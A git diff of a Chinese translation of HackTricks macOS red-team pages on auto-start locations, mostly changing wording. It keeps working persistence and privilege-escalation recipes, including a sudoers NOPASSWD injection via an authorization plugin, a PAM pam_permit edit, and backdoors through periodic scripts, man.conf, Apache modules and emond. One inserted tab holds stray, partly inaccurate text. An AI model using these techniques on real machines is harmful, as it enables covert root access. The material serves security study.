-* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
+* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
* 它请求Automation、Accessibility甚至Full-Disk访问权限
#### 位置
@@ -606,9 +613,9 @@ EOF
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
-* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
+* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
* 但需要启用和使用ssh
-* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
+* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
* SSH用于具有FDA访问权限
#### 位置
@@ -620,7 +627,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
* **触发器**:通过ssh登录
{% hint style="danger" %}
-要打开ssh需要完全磁盘访问权限:
+要打开ssh需要完全磁盘访问权限:
```bash
sudo systemsetup -setremotelogin on
```
@@ -635,7 +642,7 @@ sudo systemsetup -setremotelogin on
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
-* 但需要使用参数执行 `osascript`
+* 但需要使用 `osascript` 执行参数
* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
@@ -649,7 +656,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
#### 描述
-在系统偏好设置 -> 用户与组 -> **登录项** 中,您可以找到用户登录时要执行的 **项目**。\
+在“系统偏好设置” -> “用户与组” -> **登录项** 中,您可以找到用户登录时要执行的 **项目**。\
可以通过命令行列出、添加和删除它们:
```bash
#List all items:
@@ -665,25 +672,25 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
**登录项**也可以使用API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 进行指示,该API将在**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**中存储配置。
-### 作为登录项的ZIP
+### 将ZIP作为登录项
-(查看关于登录项的前一节,这是一个扩展)
+(查看有关登录项的先前部分,这是一个扩展)
-如果将一个**ZIP**文件存储为**登录项**,**`Archive Utility`**将打开它,例如,如果ZIP文件存储在**`~/Library`**中,并包含带有后门的文件夹**`LaunchAgents/file.plist`**,那么该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,**plist中指定的后门将被执行**。
+如果将**ZIP**文件存储为**登录项**,**`Archive Utility`**将打开它,例如,如果ZIP文件存储在**`~/Library`**中,并包含带有后门的文件夹**`LaunchAgents/file.plist`**,则该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,**在plist中指定的后门将被执行**。
-另一个选项是在用户主目录中创建文件**`.bash_profile`**和**`.zshenv`**,因此如果LaunchAgents文件夹已经存在,这种技术仍将起作用。
+另一个选项是在用户主目录中创建文件**`.bash_profile`**和**`.zshenv`**,因此如果LaunchAgents文件夹已经存在,则此技术仍将起作用。
### At
Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
-* 用于绕过沙盒的有用工具: [✅](https://emojipedia.org/check-mark-button)
-* 但您需要**执行** **`at`** 并且它必须是**启用**的
-* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
+* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
+* 但您需要**执行** **`at`**,并且它必须是**启用**的
+* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
-* 需要**执行** **`at`** 并且它必须是**启用**的
+* 需要**执行** **`at`**,并且它必须是**启用**的
#### **描述**
@@ -703,7 +710,7 @@ sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
-以上我们可以看到两个已安排的任务。我们可以使用 `at -c JOBNUMBER` 命令打印任务的详细信息。
+以上我们可以看到两个已计划的任务。我们可以使用 `at -c JOBNUMBER` 命令打印任务的详细信息。
```shell-session
sh-3.2# at -c 26
#!/bin/sh
@@ -749,9 +756,9 @@ total 32
```
文件名包含队列、作业编号和计划运行时间。例如,让我们看看 `a0001a019bdcd2`。
-- `a` - 这是队列
-- `0001a` - 十六进制的作业编号,`0x1a = 26`
-- `019bdcd2` - 十六进制的时间。它表示自纪元以来经过的分钟数。`0x019bdcd2` 在十进制中是 `26991826`。如果我们将其乘以 60,我们得到 `1619509560`,即 `GMT: 2021年4月27日,星期二 7:46:00`。
+* `a` - 这是队列
+* `0001a` - 十六进制的作业编号,`0x1a = 26`
+* `019bdcd2` - 十六进制的时间。它表示自纪元以来经过的分钟数。`0x019bdcd2` 在十进制中是 `26991826`。如果我们将其乘以60,我们得到 `1619509560`,这是 `GMT: 2021年4月27日,星期二 7:46:00`。
如果我们打印作业文件,我们会发现它包含了我们使用 `at -c` 得到的相同信息。
@@ -760,20 +767,20 @@ total 32
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
-- 有用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
-- 但您需要能够调用带参数的 `osascript` 来联系 **`System Events`** 以配置文件夹操作
-- TCC绕过:[🟠](https://emojipedia.org/large-orange-circle)
-- 它具有一些基本的TCC权限,如桌面、文稿和下载
+* 有用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
+* 但您需要能够调用带参数的 `osascript` 来联系 **`System Events`** 以配置文件夹操作
+* TCC绕过:[🟠](https://emojipedia.org/large-orange-circle)
+* 它具有一些基本的TCC权限,如桌面、文稿和下载
#### 位置
-- **`/Library/Scripts/Folder Action Scripts`**
-- 需要 root 权限
-- **触发器**:访问指定文件夹
-- **`~/Library/Scripts/Folder Action Scripts`**
-- **触发器**:访问指定文件夹
+* **`/Library/Scripts/Folder Action Scripts`**
+* 需要 root 权限
+* **触发器**:访问指定文件夹
+* **`~/Library/Scripts/Folder Action Scripts`**
+* **触发器**:访问指定文件夹
-#### 描述和利用
+#### 描述与利用
文件夹操作是由文件夹中的更改自动触发的脚本,例如添加、删除项目,或其他操作,如打开或调整文件夹窗口大小。这些操作可用于各种任务,并且可以通过不同方式触发,如使用 Finder UI 或终端命令。
@@ -782,9 +789,9 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
1. 使用 [Automator](https://support.apple.com/guide/automator/welcome/mac) 制作文件夹操作工作流,并将其安装为服务。
2. 通过文件夹上下文菜单中的文件夹操作设置手动附加脚本。
3. 利用 OSAScript 向 `System Events.app` 发送苹果事件消息,以通过编程方式设置文件夹操作。
-- 这种方法特别适用于将操作嵌入系统中,提供一定程度的持久性。
+* 这种方法特别适用于将操作嵌入系统中,提供一定程度的持久性。
-以下脚本是文件夹操作可执行的示例:
+以下脚本是文件夹操作中可以执行的示例:
```applescript
// source.js
var app = Application.currentApplication();
@@ -798,7 +805,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
-在脚本编译完成后,通过执行以下脚本来设置文件夹操作。该脚本将全局启用文件夹操作,并将先前编译的脚本特定附加到桌面文件夹。
+在脚本编译完成后,通过执行以下脚本设置文件夹操作。此脚本将全局启用文件夹操作,并将先前编译的脚本专门附加到桌面文件夹。
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events");
@@ -812,9 +819,9 @@ fa.scripts.push(myScript);
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
-* 通过 GUI 实现这种持久性的方法如下:
+* 这是通过 GUI 实现持久性的方法:
-这是将被执行的脚本:
+这是将要执行的脚本:
{% code title="source.js" %}
```applescript
@@ -856,21 +863,21 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
4. 打开Folder Actions Setup.app以使用此配置:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
-对我来说这个方法不起作用,但这是来自文档的指令 :(
+对我来说这个方法不起作用,但这是来自报告的指令:(
{% endhint %}
### Dock快捷方式
-文档:[https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
+报告:[https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* 用于绕过沙盒的有用方法:[✅](https://emojipedia.org/check-mark-button)
-* 但您需要在系统内安装了一个恶意应用程序
+* 但您需要在系统内安装一个恶意应用程序
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
* `~/Library/Preferences/com.apple.dock.plist`
-* **触发条件**:当用户点击Dock中的应用程序时
+* **触发器**:当用户点击Dock内的应用程序时
#### 描述和利用
@@ -946,21 +953,21 @@ killall Dock
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
* 用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
-* 需要发生一个非常具体的动作
+* 需要发生非常具体的操作
* 你将进入另一个沙盒
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
* `/Library/ColorPickers`
-* 需要 root 权限
+* 需要root权限
* 触发条件:使用颜色选择器
* `~/Library/ColorPickers`
* 触发条件:使用颜色选择器
-#### 描述 & 攻击
+#### 描述与利用
-**编译一个颜色选择器** bundle 与你的代码(你可以使用[**这个作为例子**](https://github.com/viktorstrate/color-picker-plus)),并添加一个构造函数(就像[屏幕保护程序部分](macos-auto-start-locations.md#screen-saver)中的那样),然后将 bundle 复制到 `~/Library/ColorPickers`。
+**编译一个颜色选择器**捆绑包与你的代码(你可以使用[**这个作为例子**](https://github.com/viktorstrate/color-picker-plus)),并添加一个构造函数(就像[屏幕保护程序部分](macos-auto-start-locations.md#screen-saver)中一样),然后将捆绑包复制到`~/Library/ColorPickers`。
然后,当颜色选择器被触发时,你的代码也应该被执行。
@@ -982,18 +989,18 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
**Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
-* 用于绕过沙盒: **否,因为您需要执行自己的应用程序**
+* 有用于绕过沙盒: **否,因为您需要执行自己的应用程序**
* TCC绕过: ???
#### 位置
-* 特定应用程序
+* 一个特定的应用程序
-#### 描述和利用
+#### 描述 & 攻击
一个带有Finder Sync扩展的应用程序示例[**可以在这里找到**](https://github.com/D00MFist/InSync)。
-应用程序可以拥有`Finder Sync扩展`。这个扩展将放在将要执行的应用程序中。此外,为了使扩展能够执行其代码,它**必须使用一些有效的苹果开发者证书进行签名**,它必须**被沙盒化**(尽管可以添加宽松的例外),并且必须注册到类似于:
+应用程序可以拥有`Finder Sync Extensions`。这个扩展将放在将要执行的应用程序中。此外,为了使扩展能够执行其代码,它**必须使用一些有效的苹果开发者证书进行签名**,它必顶**必须被沙盒化**(尽管可以添加宽松的例外),并且必须注册到类似于:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@@ -1024,7 +1031,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
在Xcode中创建一个新项目,并选择模板生成一个新的**屏幕保护程序**。然后,将代码添加到其中,例如以下代码以生成日志。
-**构建**它,并将`.saver`捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序GUI,只需单击它,就应该生成大量日志:
+**构建**它,并将`.saver`捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序GUI,只需单击它,它应该会生成大量日志:
{% code overflow="wrap" %}
```bash
@@ -1038,7 +1045,7 @@ Timestamp (process)[PID]
{% endcode %}
{% hint style="danger" %}
-请注意,因为在加载此代码的二进制文件的授权中(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)您可以找到**`com.apple.security.app-sandbox`**,因此您将处于**常见应用程序沙箱内**。
+请注意,因为在加载此代码的二进制文件的授权中(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)您可以找到**`com.apple.security.app-sandbox`**,您将处于**常见应用程序沙箱内**。
{% endhint %}
Saver 代码:
@@ -1112,22 +1119,22 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
-* 但最终会进入一个应用程序沙盒
+* 但最终会陷入应用程序沙盒
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
-* 沙盒看起来非常有限
+* 沙盒看起来非常受限制
#### 位置
* `~/Library/Spotlight/`
-* **触发器**:创建一个由Spotlight插件管理的扩展名的新文件。
+* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。
* `/Library/Spotlight/`
-* **触发器**:创建一个由Spotlight插件管理的扩展名的新文件。
+* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。
* 需要Root权限
* `/System/Library/Spotlight/`
-* **触发器**:创建一个由Spotlight插件管理的扩展名的新文件。
+* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。
* 需要Root权限
* `Some.app/Contents/Library/Spotlight/`
-* **触发器**:创建一个由Spotlight插件管理的扩展名的新文件。
+* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。
* 需要新的应用程序
#### 描述和利用
@@ -1137,7 +1144,7 @@ Spotlight是macOS内置的搜索功能,旨在为用户提供**快速和全面
Spotlight的基本机制涉及一个名为'mds'的中央进程,代表**'元数据服务器'**。该进程协调整个Spotlight服务。除此之外,还有多个执行各种维护任务的'mdworker'守护程序,例如索引不同文件类型(`ps -ef | grep mdworker`)。这些任务通过Spotlight导入器插件或**".mdimporter bundles**"实现,这些插件使Spotlight能够理解和索引各种文件格式的内容。
-这些插件或**`.mdimporter`** bundles位于先前提到的位置,如果出现新的bundle,它将在一分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪些**文件类型和扩展名**,这样,当创建具有指定扩展名的新文件时,Spotlight将使用它们。
+这些插件或**`.mdimporter`** bundles位于先前提到的位置,如果出现新的bundle,它会在一分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪些**文件类型和扩展名**,这样,当创建具有指定扩展名的新文件时,Spotlight将使用它们。
可以通过运行以下命令**找到所有加载的`mdimporters`**:
```bash
@@ -1148,7 +1155,7 @@ Paths: id(501) (
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```
-例如,**/Library/Spotlight/iBooksAuthor.mdimporter** 用于解析这些类型的文件(扩展名为 `.iba` 和 `.book` 等):
+例如 **/Library/Spotlight/iBooksAuthor.mdimporter** 用于解析这些类型的文件(扩展名为 `.iba` 和 `.book` 等):
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
@@ -1190,15 +1197,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
此外,系统默认插件始终优先,因此攻击者只能访问那些苹果自己的`mdimporters`未索引的文件。
{% endhint %}
-要创建自己的导入器,您可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称,**`CFBundleDocumentTypes`**并添加**`UTImportedTypeDeclarations`**以支持您想要支持的扩展名,并在**`schema.xml`**中反映它们。\
-然后**更改**函数**`GetMetadataForFile`**的代码,以在创建具有处理的扩展名的文件时执行您的有效负载。
+要创建自己的导入器,您可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称,**`CFBundleDocumentTypes`**并添加**`UTImportedTypeDeclarations`**,以便支持您想要支持的扩展名,并在**`schema.xml`**中反映它们。\
+然后**更改**函数**`GetMetadataForFile`**的代码,以便在创建具有已处理扩展名的文件时执行您的有效负载。
最后**构建并复制您的新`.mdimporter`**到三个先前位置之一,您可以通过**监视日志**或检查**`mdimport -L.`**来检查它何时加载。
### ~~首选项窗格~~
{% hint style="danger" %}
-看起来这似乎不再起作用。
+看起来这个不再起作用了。
{% endhint %}
撰写:[https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
@@ -1215,12 +1222,12 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
#### 描述
-看起来这似乎不再起作用。
+看起来这个不再起作用了。
## Root沙箱绕过
{% hint style="success" %}
-在这里,您可以找到有用于**绕过沙箱**的起始位置,允许您通过**将内容写入文件**来**执行某些操作**,而且需要**root**权限和/或其他**奇怪的条件**。
+在这里,您可以找到有用于**绕过沙箱**的起始位置,允许您通过**将内容写入文件**并且是**root**或需要其他**奇怪条件**来简单执行某些内容。
{% endhint %}
### 周期性
@@ -1228,7 +1235,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
撰写:[https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
* 用于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle)
-* 但您需要root权限
+* 但您需要是root用户
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
@@ -1282,7 +1289,7 @@ daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
```
-如果您设法编写`/etc/daily.local`、`/etc/weekly.local`或`/etc/monthly.local`中的任何一个文件,它将**迟早被执行**。
+如果您设法编写任何文件`/etc/daily.local`、`/etc/weekly.local`或`/etc/monthly.local`,它将**迟早被执行**。
{% hint style="warning" %}
请注意,周期性脚本将作为脚本的所有者**执行**。因此,如果常规用户拥有脚本,它将作为该用户执行(这可能会防止特权升级攻击)。
@@ -1293,23 +1300,23 @@ monthly_local="/etc/monthly.local" # Local scripts
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
-* 有用于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle)
+* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
* 但您需要是root
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
-* 总是需要root权限
+* 始终需要Root权限
#### 描述和利用
-由于PAM更专注于**持久性**和恶意软件,而不是在macOS内部轻松执行,因此本博客不会提供详细解释,**请阅读这些文章以更好地理解这种技术**。
+由于PAM更专注于**持久性**和恶意软件,而不是在macOS内部轻松执行,因此本博客不会提供详细解释,**请阅读这些文章以更好地理解这一技术**。
使用以下命令检查PAM模块:
```bash
ls -l /etc/pam.d
```
-一种滥用PAM的持久性/权限提升技术就是修改模块/etc/pam.d/sudo,在开头添加以下行:
+一种滥用PAM的持久性/权限提升技术很简单,只需修改模块/etc/pam.d/sudo,在开头添加以下行:
```bash
auth sufficient pam_permit.so
```
@@ -1324,7 +1331,7 @@ account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
-因此,任何尝试使用**`sudo`的操作**都将起作用。
+因此,任何尝试使用**`sudo`的操作**都会生效。
{% hint style="danger" %}
请注意,此目录受TCC保护,因此用户很可能会收到要求访问权限的提示。
@@ -1345,9 +1352,9 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
* 需要root权限
* 还需要配置授权数据库以使用插件
-#### 描述和利用
+#### 描述与利用
-您可以创建一个授权插件,该插件将在用户登录时执行以保持持久性。有关如何创建这些插件之一的更多信息,请查看先前的写作(请注意,编写不当的插件可能会将您锁在外面,您将需要从恢复模式清理您的Mac)。
+您可以创建一个授权插件,在用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看先前的写作(请注意,编写不当的插件可能会将您锁定,您将需要从恢复模式中清理您的Mac)。
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@@ -1366,7 +1373,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
-最后添加**规则**以加载此插件:
+最后添加加载此插件的**规则**:
```bash
cat > /tmp/rule.plist <
@@ -1387,7 +1394,7 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
**`evaluate-mechanisms`** 会告诉授权框架需要**调用外部机制进行授权**。此外,**`privileged`** 会使其以 root 用户身份执行。
-触发它:
+触发方式:
```bash
security authorize com.asdf.asdf
```
@@ -1404,10 +1411,10 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
#### 位置
* **`/private/etc/man.conf`**
-* 需要Root权限
+* 需要root权限
* **`/private/etc/man.conf`**:每当使用man时
-#### 描述 & 攻击
+#### 描述和利用
配置文件**`/private/etc/man.conf`**指示打开man文档文件时要使用的二进制文件/脚本。因此,可修改可执行文件的路径,以便每当用户使用man阅读文档时,将执行后门。
@@ -1427,7 +1434,7 @@ touch /tmp/manconf
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
-* 有用于绕过沙盒的方法:[🟠](https://emojipedia.org/large-orange-circle)
+* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
* 但需要 root 权限和 apache 需要在运行中
* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle)
* Httpd 没有授权
@@ -1438,7 +1445,7 @@ touch /tmp/manconf
* 需要 root 权限
* 触发条件:当 Apache2 启动时
-#### 描述 & 攻击
+#### 描述和利用
您可以在 `/etc/apache2/httpd.conf` 中指定加载一个模块,添加一行代码,例如:
```bash
@@ -1468,7 +1475,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
-* 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle)
+* 有用于绕过沙盒的方法: [🟠](https://emojipedia.org/large-orange-circle)
* 但需要root权限,auditd正在运行并引发警告
* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
@@ -1487,15 +1494,18 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
### 启动项
{% hint style="danger" %}
-**这已经被弃用,因此在这些目录中不应该找到任何内容。**
+**此功能已被弃用,因此这些目录中不应该找到任何内容。**
{% endhint %}
-**StartupItem** 是一个应该位于 `/Library/StartupItems/` 或 `/System/Library/StartupItems/` 中的目录。一旦建立了这个目录,它必须包含两个特定的文件:
+**StartupItem** 是一个目录,应该位于 `/Library/StartupItems/` 或 `/System/Library/StartupItems/` 中的一个。一旦建立了这个目录,它必须包含两个特定的文件:
1. 一个 **rc 脚本**:在启动时执行的 shell 脚本。
-2. 一个名为 `StartupParameters.plist` 的 **plist 文件**,其中包含各种配置设置。
+2. 一个 **plist 文件**,具体命名为 `StartupParameters.plist`,其中包含各种配置设置。
-确保将 rc 脚本和 `StartupParameters.plist` 文件都正确放置在 **StartupItem** 目录中,以便启动过程识别并利用它们。
+确保将 rc 脚本和 `StartupParameters.plist` 文件都正确放置在 **StartupItem** 目录中,以便启动过程识别和利用它们。
+
+{% tabs %}
+{% tab title="StartupParameters.plist" %}
```xml
@@ -1514,7 +1524,18 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
{% endtab %}
-{% tab title="超级服务名称" %}
+{% tab title="superservicename" %}
+
+### 自动启动位置
+
+macOS 中有多个位置存储自动启动项。以下是一些常见的自动启动位置:
+
+- **登录项**:系统偏好设置 > 用户与群组 > 登录项
+- **启动代理**:`/Library/LaunchAgents` 和 `~/Library/LaunchAgents`
+- **启动守护进程**:`/Library/LaunchDaemons` 和 `~/Library/LaunchDaemons`
+- **启动项**:`/Library/StartupItems`(macOS 10.4 之前)
+
+要查看和管理这些自动启动项,可以使用 `launchctl` 命令。
```bash
#!/bin/sh
. /etc/rc.common
@@ -1544,7 +1565,7 @@ RunService "$1"
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
-由 Apple 引入的 **emond** 是一种日志记录机制,似乎开发不完善或可能被放弃,但仍然可以访问。虽然对于 Mac 管理员来说并没有特别有益,但这种鲜为人知的服务可能作为威胁行为者的微妙持久性方法,很可能不会被大多数 macOS 管理员注意到。
+由 Apple 引入的 **emond** 是一个日志记录机制,似乎开发不足或可能被放弃,但仍然可以访问。虽然对于 Mac 管理员来说并不特别有益,但这个鲜为人知的服务可能作为威胁行为者的微妙持久性方法,很可能不会被大多数 macOS 管理员注意到。
对于知道其存在的人来说,识别 **emond** 的任何恶意使用是直截了当的。该服务的 LaunchDaemon 寻找要在单个目录中执行的脚本。要检查这一点,可以使用以下命令:
```bash
@@ -1616,7 +1637,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
#### 描述 & 利用
-显然,运行此脚本并不是很常见,我甚至在我的 macOS 中找不到它,所以如果您想获取更多信息,请查看 writeup。
+显然,运行此脚本并不是很常见,我甚至在我的 macOS 中找不到它,所以如果您想了解更多信息,请查看 writeup。
### ~~/etc/rc.common~~
@@ -1624,7 +1645,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
**在现代 MacOS 版本中不起作用**
{% endhint %}
-还可以在这里放置**将在启动时执行的命令。** 例如常规 rc.common 脚本:
+还可以在这里放置**将在启动时执行的命令**。例如常规 rc.common 脚本示例:
```bash
#
# Common setup for startup scripts.
@@ -1722,16 +1743,17 @@ esac
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
+{% hint style="success" %}
+学习并练习 AWS Hacking:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP Hacking: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-red-teaming/README.md b/macos-hardening/macos-red-teaming/README.md
index 8422f5302..49061d4ac 100644
--- a/macos-hardening/macos-red-teaming/README.md
+++ b/macos-hardening/macos-red-teaming/README.md
@@ -1,18 +1,19 @@
# macOS 红队
+{% hint style="success" %}
+学习并实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
+支持 HackTricks
-支持 HackTricks 的其他方式:
-
-* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
-* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
